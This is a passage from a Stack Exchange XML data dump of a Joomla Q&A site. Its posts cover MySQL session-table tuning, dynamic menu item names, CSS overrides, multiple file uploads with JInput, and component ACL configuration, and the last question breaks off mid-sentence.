  <row Id="2257" PostTypeId="2" ParentId="2238" CreationDate="2014-06-11T21:57:27.553" Score="1" Body="&lt;p&gt;If there is a deadlock, it would indicate that index updates are done from different directions so to speak and there may be a bug in Joomla that causes this. Apart from documenting the symptoms or trying to find the bug you can mitigate the issue by allowing for the session table to be more performant.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In addition to Jordans comment, you can make the session table very efficient by turning it into a MEMORY type MySQL table. This will mean that sessions are lost however on MySQL reboot.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To turn it into a memory table, switch the data field from mediumtext to something like varchar(15000) (size depends on what extensions store what data), then turn the type to MEMORY.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You also need to allow for enough &quot;heap&quot; memory in your MySQL configuration as the table will now be held in memory. For big sites I manage I use up to 640MB.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For all of this you need to have a VPS at least of course.&lt;/p&gt;&#xA;" OwnerUserId="35" LastActivityDate="2014-06-11T21:57:27.553" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="2259" PostTypeId="1" AcceptedAnswerId="2260" CreationDate="2014-06-11T23:28:16.903" Score="3" ViewCount="969" Body="&lt;p&gt;I want to create a menu item that will change dynamically its name, based on who is viewing it and his viewing access.&#xA;&lt;br /&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To make it more specific, I have created an application in Fabrik. &lt;br /&gt;There are &lt;strong&gt;Courses&lt;/strong&gt; and &lt;strong&gt;Members&lt;/strong&gt; that are following these courses. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;There are also &lt;strong&gt;Courses Moderators&lt;/strong&gt;, who can view only the members of the courses they moderate. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have a menu item to display the list of members for each course. Now it is named &quot;&lt;strong&gt;Courses Members&lt;/strong&gt;&quot;. But since for each moderator is going to display only members of his course, I would like the menu item to display the Course Name, e.g. &quot;&lt;strong&gt;Yoga Members&lt;/strong&gt;&quot;. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;As an extra information, there are also corresponding usergroups for each Course, and the moderators are part of these groups as well. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;At some point in the past, I think I had came across a plugin that would allow to use placeholders in the menu items name... but I can't find it and also not sure if it could work in my scenario.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Has anyone done something like this? Any plugins or other ideas please...&lt;/p&gt;&#xA;" OwnerUserId="126" LastActivityDate="2016-06-24T10:58:43.857" Title="Dynamic Menu Item Names" Tags="|plugin|menu-item|" AnswerCount="4" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="2260" PostTypeId="2" ParentId="2259" CreationDate="2014-06-11T23:53:05.470" Score="2" Body="&lt;p&gt;You have to create a mod_menu override, and add the code to custom adding this special menu items.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Some templates allow to include a module position in a menu item (E.g. login) to include mod_login. But in your case, you need to inject a whole set of items. It's better to create a mod_menu customization.&lt;/p&gt;&#xA;" OwnerUserId="174" LastActivityDate="2014-06-11T23:53:05.470" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="2262" PostTypeId="2" ParentId="2249" CreationDate="2014-06-11T23:58:27.070" Score="0" Body="&lt;p&gt;Try to &lt;strong&gt;Rebuild&lt;/strong&gt; in the menu manager. If you change the order there, it must be reflected in the frontend.&lt;/p&gt;&#xA;" OwnerUserId="174" LastActivityDate="2014-06-11T23:58:27.070" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2263" PostTypeId="2" ParentId="2248" CreationDate="2014-06-11T23:59:47.563" Score="1" Body="&lt;p&gt;&lt;strong&gt;NoNumber ReReplacer&lt;/strong&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;With ReReplacer you can replace whatever you want in your entire site.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It can work on the entire output of your site, so you can also do replacements in things like the meta tags.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Some ideas where you can use ReReplacer for:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Create your own custom tags ([mytag]some text[/mytag] becomes some text).&#xA;Tweak the output of Joomla! without changing the core joomla or extension files.&#xA;Filter bad words on your site.&#xA;Temporarily hide text from your website, without actually removing it.&#xA;Remove redundant whitespace from your code, making your website load faster.&#xA;Use abbreviations in your content and replace them with the full text (J! becomes Joomla!, COMP becomes My Very Long Company Name®).&#xA;Quickly place whole blocks of text by only typing one word. Like you can use [stats] and replace it with a piece of Google Statistics code. Or [footer] to put a fixed bit of text under articles. You can change the replacement in one place (in ReReplacer) and your whole website is updated!&#xA;etc...&#xA;You have the ability to use powerful regular expressions to search and replace. This opens up endless possibilities. You can do virtually everything with ReReplacer.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Reference: &lt;a href=&quot;http://www.nonumber.nl/extensions/rereplacer&quot; rel=&quot;nofollow&quot;&gt;http://www.nonumber.nl/extensions/rereplacer&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="174" LastActivityDate="2014-06-11T23:59:47.563" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="2264" PostTypeId="2" ParentId="2228" CreationDate="2014-06-12T01:08:46.773" Score="2" Body="&lt;p&gt;Comparing the &lt;a href=&quot;http://codepen.io/Lembasts/pen/wKcuq&quot; rel=&quot;nofollow&quot;&gt;HTML in Codepen&lt;/a&gt; and just the HTML on the page you linked to (shown below) &lt;a href=&quot;http://codepen.io/cppl/pen/hJmkq&quot; rel=&quot;nofollow&quot;&gt;in Codepen&lt;/a&gt; the both appear the same. So, it's not being altered (at least not in a way that damages the display) so that comes down to the CSS thats applied to it.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;!-- HTML generated using hilite.me --&amp;gt;&#xA;&amp;lt;div style=&quot;background: #111111; overflow: auto; width: auto; border: solid grey; border-width: .1em .1em .1em .8em; padding: .2em .6em;&quot;&amp;gt;&#xA;&amp;lt;pre style=&quot;margin: 0; line-height: 125%;&quot;&amp;gt;&amp;lt;span style=&quot;color: #fb660a; font-weight: bold;&quot;&amp;gt;For&amp;lt;/span&amp;gt; &amp;lt;span style=&quot;color: #ffffff;&quot;&amp;gt;i&amp;lt;/span&amp;gt; &amp;lt;span style=&quot;color: #ffffff;&quot;&amp;gt;=&amp;lt;/span&amp;gt; &amp;lt;span style=&quot;color: #0086f7; font-weight: bold;&quot;&amp;gt;1&amp;lt;/span&amp;gt; &amp;lt;span style=&quot;color: #fb660a; font-weight: bold;&quot;&amp;gt;To&amp;lt;/span&amp;gt; &amp;lt;span style=&quot;color: #0086f7; font-weight: bold;&quot;&amp;gt;10&amp;lt;/span&amp;gt;&#xA;    &amp;lt;span style=&quot;color: #ffffff;&quot;&amp;gt;WScript.Echo&amp;lt;/span&amp;gt; &amp;lt;span style=&quot;color: #ffffff;&quot;&amp;gt;i&amp;lt;/span&amp;gt;&#xA;&amp;lt;span style=&quot;color: #fb660a; font-weight: bold;&quot;&amp;gt;Next&amp;lt;/span&amp;gt;&#xA;&amp;lt;/pre&amp;gt;&#xA;&amp;lt;/div&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Using &quot;Inspect Element&quot; on the test page you can trace back the CSS and see that the &lt;code&gt;&amp;lt;pre&amp;gt;&lt;/code&gt; block has CSS it's inheriting from &lt;code&gt;templates/j51_nocturne/css/typo.css&lt;/code&gt; that appears to be the main culprit:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;p.note, p.pin, p.clip, p.down, pre, .code {&#xA;    background: rgba(255,255,255,0.1);&#xA;    border-color: rgba(255,255,255,0.08);&#xA;    border-style: solid;&#xA;    border-width: 1px 1px 1px 5px;&#xA;}&#xA;pre, .code {&#xA;    margin: 10px 0;&#xA;    clear:both;&#xA;}&#xA;pre, code {&#xA;    font: italic 100% monospace;&#xA;    padding: 10px;&#xA;    white-space: normal !important;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;You will need to override or remove that CSS to fix the problem.&lt;/p&gt;&#xA;" OwnerUserId="107" LastActivityDate="2014-06-12T01:08:46.773" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="2265" PostTypeId="1" AcceptedAnswerId="2267" CreationDate="2014-06-12T07:01:52.067" Score="0" ViewCount="1755" Body="&lt;p&gt;&lt;strong&gt;FORM HTML&lt;/strong&gt; :&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;form name=&quot;upload&quot; method=&quot;post&quot; action=&quot;send.php&quot; enctype=&quot;multipart/form-data&quot;&amp;gt;&#xA;&#xA;File #1 : &amp;lt;input type=&quot;file&quot; name=&quot;one&quot; /&amp;gt;&#xA;File #2 : &amp;lt;input type=&quot;file&quot; name=&quot;two&quot; /&amp;gt;&#xA;File #3 : &amp;lt;input type=&quot;file&quot; name=&quot;three&quot; /&amp;gt;&#xA;&amp;lt;input type=&quot;submit&quot; value=&quot;send&quot;&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;PHP CODE&lt;/strong&gt; :&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;define( '_JEXEC', 1 );&#xA;define('JPATH_BASE', __DIR__);  &#xA;require_once ( JPATH_BASE .'/includes/defines.php' );&#xA;require_once ( JPATH_BASE .'/includes/framework.php' );&#xA; $app = JFactory::getApplication('site');&#xA;&#xA;$input = JFactory::getApplication()-&amp;gt;input;&#xA;$file1 = $input-&amp;gt;files-&amp;gt;get('one');&#xA;$file2 = $input-&amp;gt;files-&amp;gt;get('two');&#xA;$file3 = $input-&amp;gt;files-&amp;gt;get('three'); &#xA;&#xA;&#xA;$filename1 = JFile::makeSafe($file1['name']); &#xA;$filename2 = JFile::makeSafe($file2['name']);&#xA;$filename3 = JFile::makeSafe($file3['name']);&#xA;&#xA;$src = $file['tmp_name'];&#xA;$dest1 = JPATH_BASE . &quot;/screens/&quot; . $filename1;&#xA;$dest2 = JPATH_BASE . &quot;/screens/&quot; . $filename2;&#xA;$dest3 = JPATH_BASE . &quot;/screens/&quot; . $filename3;&#xA;&#xA;if (JFile::upload($src, $dest1, $dest2, $dest3)) {&#xA;echo &quot;upload successful&quot;;&#xA;}&#xA;else&#xA;{&#xA;echo &quot;something went wrong&quot;;&#xA;}&#xA;?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Getting a blank page? Any suggestions?&lt;/p&gt;&#xA;" OwnerUserId="383" LastActivityDate="2014-06-12T10:13:29.283" Title="Multiple File Upload Using JInput?" Tags="|php|jinput|file-upload|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2266" PostTypeId="2" ParentId="2265" CreationDate="2014-06-12T07:26:05.270" Score="0" Body="&lt;p&gt;You can have each destination as an argument in JFile::upload. It doesn't work like that. You can use a lopp like so:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$app = JFactory::getApplication('site');&#xA;$input = $app-&amp;gt;input;&#xA;&#xA;$file1 = $input-&amp;gt;files-&amp;gt;get('one');&#xA;$file2 = $input-&amp;gt;files-&amp;gt;get('two'); &#xA;$file3 = $input-&amp;gt;files-&amp;gt;get('three');   &#xA;&#xA;$files = array($file1, $file2, $file3);&#xA;&#xA;foreach($files as $file) {&#xA;    $filename = JFile::makeSafe($file['name']);&#xA;    $src = $file['tmp_name'];&#xA;    $dest = JPATH_BASE . &quot;/screen/&quot; . $filename;&#xA;&#xA;    if(JFile::upload($src, $dest)) {&#xA;        echo &quot;upload successful&quot;;&#xA;    }   &#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I've tested this and it works perfectly. It would probably be best you use @Bakual's code as it's cleaner and a little more simple.&lt;/p&gt;&#xA;" OwnerUserId="168" LastEditorUserId="168" LastEditDate="2014-06-12T09:10:03.643" LastActivityDate="2014-06-12T09:10:03.643" CommentCount="7" ContentLicense="CC BY-SA 3.0" />
  <row Id="2267" PostTypeId="2" ParentId="2265" CreationDate="2014-06-12T08:51:02.680" Score="4" Body="&lt;p&gt;One error is &lt;code&gt;$src = $file['tmp_name'];&lt;/code&gt;. &lt;code&gt;$file&lt;/code&gt; isn't defined. You're should use &lt;code&gt;$file1&lt;/code&gt; there.&#xA;Another thing is that JFile is one of the classes which don't autoload for some reason. So you need to either register it in the autoloader or &lt;code&gt;require_once&lt;/code&gt; it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I would do something similar to what Lodder suggested for the actual uploading part:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;JLoader::register('JFile', JPATH_LIBRARIES . '/joomla/filesystem/file.php');&#xA;&#xA;$fields = array('one', 'two', 'three');&#xA;&#xA;foreach ($fields as $field)&#xA;{&#xA;    $file     = $input-&amp;gt;files-&amp;gt;get($field);&#xA;    $src      = $file['tmp_name'];&#xA;    $filename = JFile::makeSafe($file['name']);&#xA;    $dest     = JPATH_BASE . &quot;/screen/&quot; . $filename;&#xA;&#xA;    if (JFile::upload($src, $dest))&#xA;    {&#xA;        echo &quot;upload successful&quot;;&#xA;    }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I would also not use a standalone PHP script to do that but use a component or com_ajax for it.&lt;/p&gt;&#xA;" OwnerUserId="52" LastEditorUserId="52" LastEditDate="2014-06-12T10:13:29.283" LastActivityDate="2014-06-12T10:13:29.283" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="2268" PostTypeId="2" ParentId="2249" CreationDate="2014-06-12T10:04:43.337" Score="1" Body="&lt;p&gt;You need to click the two opposing triangles, at the top of the ordering column  (far left), in oder to &quot;activate&quot; the menu ordering.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then you can click and grap a menu and drop it into the right place in your menu structure.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You definitely don't need any &quot;fix&quot; to do this.&lt;/p&gt;&#xA;" OwnerUserId="188" LastEditorUserId="188" LastEditDate="2014-06-12T14:28:21.980" LastActivityDate="2014-06-12T14:28:21.980" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2269" PostTypeId="2" ParentId="2259" CreationDate="2014-06-12T10:14:50.103" Score="1" Body="&lt;p&gt;I have achieved something like this by using NoNumbers Advanced Module Manager.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This will allow you to use PHP to &quot;get the logged in user ID&quot; and only show appropriate menu modules for that user.  AMM has a PHP block which is what I used.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Unfortunately this needed a menu for each user so was something of a clunky workaround and not very scalable.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I think the plugin you might be looking for is also from NoNumbers called Snippets but you may have more luck in this case with ReReplacer.&lt;/p&gt;&#xA;" OwnerUserId="188" LastActivityDate="2014-06-12T10:14:50.103" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="2270" PostTypeId="2" ParentId="2176" CreationDate="2014-06-12T10:39:00.213" Score="1" Body="&lt;p&gt;I use Ohanah on JoomlaLondon, certain it wouldn't be up to this.  I think I can also help you rule out others I've used, although with overrides one or two of these could possibly be made to suit:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;MiwiEvents, nice because it integrates with MiwiShop(OpenCart highly expandable). &lt;/li&gt;&#xA;&lt;li&gt;RSEvents (Needs RSForms for reg and has limited payment gateways). No Agenda View AFAIK but does allow for multiple sessions per event.&lt;/li&gt;&#xA;&lt;li&gt;DTRegister is one of the most advanced and flexible events packages but it has it's issues, support being one of them, styling being another. No Agenda View(v2.8.3).&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="188" LastActivityDate="2014-06-12T10:39:00.213" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2271" PostTypeId="2" ParentId="2253" CreationDate="2014-06-12T11:43:41.797" Score="3" Body="&lt;p&gt;The best tool I have come accross for this is the &lt;a href=&quot;http://cyend.com/extensions/extensions/components/91-sp-transfer&quot; rel=&quot;nofollow&quot;&gt;SP Transfer&lt;/a&gt; from SP Cyend&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This allows you to create a new install, get it running with appropriate template and components and then pull data accross table by table if you want.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Use it on most of our migrations, rock solid.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What I would recommend is updating as many of your key components to their latest version possible, just after you have backed up the whole site of course!&lt;/p&gt;&#xA;" OwnerUserId="188" LastActivityDate="2014-06-12T11:43:41.797" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="2272" PostTypeId="2" ParentId="2251" CreationDate="2014-06-12T12:08:38.470" Score="1" Body="&lt;p&gt;It's undoubtedly a permissions issue, possibly because the user Apache is run under does not have sufficient privileges.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you're on OSX then I'd recommend you use MAMP instead, designed for OSX, it works out of the box:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://www.mamp.info/en/&quot; rel=&quot;nofollow&quot;&gt;http://www.mamp.info/en/&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="296" LastActivityDate="2014-06-12T12:08:38.470" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2273" PostTypeId="2" ParentId="2229" CreationDate="2014-06-12T12:22:33.023" Score="5" Body="&lt;p&gt;It's because your trick relies on the inline-block property. When you apply inline-block then html whitespace appears as space between those elements, because inline elements have letterspacing.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If there is no html whitespace, as in the output of mod_menu, then your inlined blocks won't have that letterspace, and neither will your pseudo-element.&lt;/p&gt;&#xA;" OwnerUserId="296" LastActivityDate="2014-06-12T12:22:33.023" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2274" PostTypeId="2" ParentId="2236" CreationDate="2014-06-12T12:33:05.130" Score="1" Body="&lt;p&gt;If you're styles are being overridden it is undoubtedly because of Bootstrap's css, as it uses some high-specificity selectors.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Does your static site use Bootstrap? If not, then you're almost certainly better of without it in your Joomla template. You'll only end up fighting with it. I think this is what you've seen already.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you're static site didn't use Bootstrap also then you can better forget all the talk here of LESS and simply include your own CSS and JS, as you have done. You don't have to use Bootstrap in your Joomla template.&lt;/p&gt;&#xA;" OwnerUserId="296" LastActivityDate="2014-06-12T12:33:05.130" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="2275" PostTypeId="1" AcceptedAnswerId="2278" CreationDate="2014-06-12T15:54:26.487" Score="1" ViewCount="246" Body="&lt;p&gt;As always I'm tinkering around in my IDE. Today's challenge is to set up view level ACL rules for each of the various managers (list/form views) in my test management component. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;First I added the required sections to the access.xml file&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?xml version=&quot;1.0&quot; encoding=&quot;UTF-8&quot;?&amp;gt;&#xA;&amp;lt;access component=&quot;com_babelu_exams&quot;&amp;gt;&#xA;&amp;lt;section name=&quot;component&quot;&amp;gt;&#xA;    &amp;lt;action name=&quot;core.admin&quot; title=&quot;JACTION_ADMIN&quot; description=&quot;JACTION_ADMIN_COMPONENT_DESC&quot; /&amp;gt;&#xA;    &amp;lt;action name=&quot;core.manage&quot; title=&quot;JACTION_MANAGE&quot; description=&quot;JACTION_MANAGE_COMPONENT_DESC&quot; /&amp;gt;&#xA;    &amp;lt;action name=&quot;core.create&quot; title=&quot;JACTION_CREATE&quot; description=&quot;JACTION_CREATE_COMPONENT_DESC&quot; /&amp;gt;&#xA;    &amp;lt;action name=&quot;core.delete&quot; title=&quot;JACTION_DELETE&quot; description=&quot;JACTION_DELETE_COMPONENT_DESC&quot; /&amp;gt;&#xA;    &amp;lt;action name=&quot;core.edit&quot; title=&quot;JACTION_EDIT&quot; description=&quot;JACTION_EDIT_COMPONENT_DESC&quot; /&amp;gt;&#xA;    &amp;lt;action name=&quot;core.edit.state&quot; title=&quot;JACTION_EDITSTATE&quot; description=&quot;JACTION_EDITSTATE_COMPONENT_DESC&quot; /&amp;gt;&#xA;    &amp;lt;action name=&quot;core.edit.own&quot; title=&quot;JACTION_EDITOWN&quot; description=&quot;JACTION_EDITOWN_COMPONENT_DESC&quot; /&amp;gt;&#xA;&amp;lt;/section&amp;gt;&#xA;&amp;lt;section name=&quot;category&quot;&amp;gt;&#xA;    &amp;lt;action name=&quot;core.manage&quot; title=&quot;JACTION_MANAGE&quot; description=&quot;JACTION_MANAGE_CATEGORY_DESC&quot; /&amp;gt;&#xA;    &amp;lt;action name=&quot;core.create&quot; title=&quot;JACTION_CREATE&quot; description=&quot;JACTION_CREATE_CATEGORY_DESC&quot; /&amp;gt;&#xA;    &amp;lt;action name=&quot;core.delete&quot; title=&quot;JACTION_DELETE&quot; description=&quot;JACTION_DELETE_CATEGORY_DESC&quot; /&amp;gt;&#xA;    &amp;lt;action name=&quot;core.edit&quot; title=&quot;JACTION_EDIT&quot; description=&quot;JACTION_EDIT_CATEGORY_DESC&quot; /&amp;gt;&#xA;    &amp;lt;action name=&quot;core.edit.state&quot; title=&quot;JACTION_EDITSTATE&quot; description=&quot;JACTION_EDITSTATE_CATEGORY_DESC&quot; /&amp;gt;&#xA;    &amp;lt;action name=&quot;core.edit.own&quot; title=&quot;JACTION_EDITOWN&quot; description=&quot;JACTION_EDITOWN_CATEGORY_DESC&quot; /&amp;gt;&#xA;&amp;lt;/section&amp;gt;&#xA;&amp;lt;section name=&quot;level&quot;&amp;gt;&#xA;    &amp;lt;action name=&quot;core.manage&quot; title=&quot;JACTION_MANAGE&quot; description=&quot;JACTION_MANAGE_LEVEL_DESC&quot; /&amp;gt;&#xA;    &amp;lt;action name=&quot;core.create&quot; title=&quot;JACTION_CREATE&quot; description=&quot;JACTION_CREATE_LEVEL_DESC&quot; /&amp;gt;&#xA;    &amp;lt;action name=&quot;core.delete&quot; title=&quot;JACTION_DELETE&quot; description=&quot;JACTION_DELETE_LEVEL_DESC&quot; /&amp;gt;&#xA;    &amp;lt;action name=&quot;core.edit&quot; title=&quot;JACTION_EDIT&quot; description=&quot;JACTION_EDIT_LEVEL_DESC&quot; /&amp;gt;&#xA;    &amp;lt;action name=&quot;core.edit.state&quot; title=&quot;JACTION_EDITSTATE&quot; description=&quot;JACTION_EDITSTATE_LEVEL_DESC&quot; /&amp;gt;&#xA;    &amp;lt;action name=&quot;core.edit.own&quot; title=&quot;JACTION_EDITOWN&quot; description=&quot;JACTION_EDITOWN_LEVEL_DESC&quot; /&amp;gt;&#xA;&amp;lt;/section&amp;gt;&#xA;&amp;lt;section name=&quot;exam&quot;&amp;gt;&#xA;    &amp;lt;action name=&quot;core.manage&quot; title=&quot;JACTION_MANAGE&quot; description=&quot;JACTION_MANAGE_EXAM_DESC&quot; /&amp;gt;&#xA;    &amp;lt;action name=&quot;core.create&quot; title=&quot;JACTION_CREATE&quot; description=&quot;JACTION_CREATE_EXAM_DESC&quot; /&amp;gt;&#xA;    &amp;lt;action name=&quot;core.delete&quot; title=&quot;JACTION_DELETE&quot; description=&quot;JACTION_DELETE_EXAM_DESC&quot; /&amp;gt;&#xA;    &amp;lt;action name=&quot;core.edit&quot; title=&quot;JACTION_EDIT&quot; description=&quot;JACTION_EDIT_EXAM_DESC&quot; /&amp;gt;&#xA;    &amp;lt;action name=&quot;core.edit.state&quot; title=&quot;JACTION_EDITSTATE&quot; description=&quot;JACTION_EDITSTATE_EXAM_DESC&quot; /&amp;gt;&#xA;    &amp;lt;action name=&quot;core.edit.own&quot; title=&quot;JACTION_EDITOWN&quot; description=&quot;JACTION_EDITOWN_EXAM_DESC&quot; /&amp;gt;&#xA;&amp;lt;/section&amp;gt;&#xA;&amp;lt;section name=&quot;section&quot;&amp;gt;&#xA;    &amp;lt;action name=&quot;core.manage&quot; title=&quot;JACTION_MANAGE&quot; description=&quot;JACTION_MANAGE_SECTION_DESC&quot; /&amp;gt;&#xA;    &amp;lt;action name=&quot;core.create&quot; title=&quot;JACTION_CREATE&quot; description=&quot;JACTION_CREATE_SECTION_DESC&quot; /&amp;gt;&#xA;    &amp;lt;action name=&quot;core.delete&quot; title=&quot;JACTION_DELETE&quot; description=&quot;JACTION_DELETE_SECTION_DESC&quot; /&amp;gt;&#xA;    &amp;lt;action name=&quot;core.edit&quot; title=&quot;JACTION_EDIT&quot; description=&quot;JACTION_EDIT_SECTION_DESC&quot; /&amp;gt;&#xA;    &amp;lt;action name=&quot;core.edit.state&quot; title=&quot;JACTION_EDITSTATE&quot; description=&quot;JACTION_EDITSTATE_SECTION_DESC&quot; /&amp;gt;&#xA;    &amp;lt;action name=&quot;core.edit.own&quot; title=&quot;JACTION_EDITOWN&quot; description=&quot;JACTION_EDITOWN_SECTION_DESC&quot; /&amp;gt;&#xA;&amp;lt;/section&amp;gt;&#xA;&amp;lt;section name=&quot;problem&quot;&amp;gt;&#xA;    &amp;lt;action name=&quot;core.manage&quot; title=&quot;JACTION_MANAGE&quot; description=&quot;JACTION_MANAGE_PROBLEM_DESC&quot; /&amp;gt;&#xA;    &amp;lt;action name=&quot;core.create&quot; title=&quot;JACTION_CREATE&quot; description=&quot;JACTION_CREATE_PROBLEM_DESC&quot; /&amp;gt;&#xA;    &amp;lt;action name=&quot;core.delete&quot; title=&quot;JACTION_DELETE&quot; description=&quot;JACTION_DELETE_PROBLEM_DESC&quot; /&amp;gt;&#xA;    &amp;lt;action name=&quot;core.edit&quot; title=&quot;JACTION_EDIT&quot; description=&quot;JACTION_EDIT_PROBLEM_DESC&quot; /&amp;gt;&#xA;    &amp;lt;action name=&quot;core.edit.state&quot; title=&quot;JACTION_EDITSTATE&quot; description=&quot;JACTION_EDITSTATE_PROBLEM_DESC&quot; /&amp;gt;&#xA;    &amp;lt;action name=&quot;core.edit.own&quot; title=&quot;JACTION_EDITOWN&quot; description=&quot;JACTION_EDITOWN_PROBLEM_DESC&quot; /&amp;gt;&#xA;&amp;lt;/section&amp;gt;&#xA;&amp;lt;section name=&quot;result&quot;&amp;gt;&#xA;    &amp;lt;action name=&quot;core.manage&quot; title=&quot;JACTION_MANAGE&quot; description=&quot;JACTION_MANAGE_RESULT_DESC&quot; /&amp;gt;&#xA;    &amp;lt;action name=&quot;core.delete&quot; title=&quot;JACTION_DELETE&quot; description=&quot;JACTION_DELETE_RESULT_DESC&quot; /&amp;gt;&#xA;    &amp;lt;action name=&quot;core.edit&quot; title=&quot;JACTION_EDIT&quot; description=&quot;JACTION_EDIT_RESULT_DESC&quot; /&amp;gt;&#xA;    &amp;lt;action name=&quot;core.edit.own&quot; title=&quot;JACTION_EDITOWN&quot; description=&quot;JACTION_EDITOWN_RESULT_DESC&quot; /&amp;gt;&#xA;&amp;lt;/section&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then I tried to add these to my config.xml under the permissions fieldset&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;!-- SOF PERMISSIONS --&amp;gt;&#xA;&amp;lt;fieldset name=&quot;permissions&quot; description=&quot;JCONFIG_PERMISSIONS_DESC&quot;&#xA;    label=&quot;JCONFIG_PERMISSIONS_LABEL&quot;&amp;gt;&#xA;    &amp;lt;field name=&quot;rules&quot; type=&quot;rules&quot; component=&quot;com_babelu_exams&quot;&#xA;        filter=&quot;rules&quot; validate=&quot;rules&quot; label=&quot;JCONFIG_PERMISSIONS_LABEL&quot;&#xA;        section=&quot;component&quot; /&amp;gt;&#xA;&#xA;    &amp;lt;field name=&quot;rules&quot; type=&quot;rules&quot; component=&quot;com_babelu_exams&quot;&#xA;           filter=&quot;rules&quot; validate=&quot;rules&quot; label=&quot;JCONFIG_PERMISSIONS_LABEL&quot;&#xA;           section=&quot;category&quot; /&amp;gt;&#xA;&amp;lt;/fieldset&amp;gt;&#xA;&amp;lt;!-- EOF PERMISSIONS --&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;However this didn't work as the category rules overwrote the component rules.&#xA;So I tried making rules an array&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;!-- SOF PERMISSIONS --&amp;gt;&#xA;&amp;lt;fieldset name=&quot;permissions&quot; description=&quot;JCONFIG_PERMISSIONS_DESC&quot;&#xA;    label=&quot;JCONFIG_PERMISSIONS_LABEL&quot;&amp;gt;&#xA;    &amp;lt;field name=&quot;rules[]&quot; type=&quot;rules&quot; component=&quot;com_babelu_exams&quot;&#xA;        filter=&quot;rules&quot; validate=&quot;rules&quot; label=&quot;JCONFIG_PERMISSIONS_LABEL&quot;&#xA;        section=&quot;component&quot; /&amp;gt;&#xA;&#xA;    &amp;lt;field name=&quot;rules[]&quot; type=&quot;rules&quot; component=&quot;com_babelu_exams&quot;&#xA;           filter=&quot;rules&quot; validate=&quot;rules&quot; label=&quot;JCONFIG_PERMISSIONS_LABEL&quot;&#xA;           section=&quot;category&quot; /&amp;gt;&#xA;&amp;lt;/fieldset&amp;gt;&#xA;&amp;lt;!-- EOF PERMISSIONS --&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;but this had the same effect. So I tried appending the section to 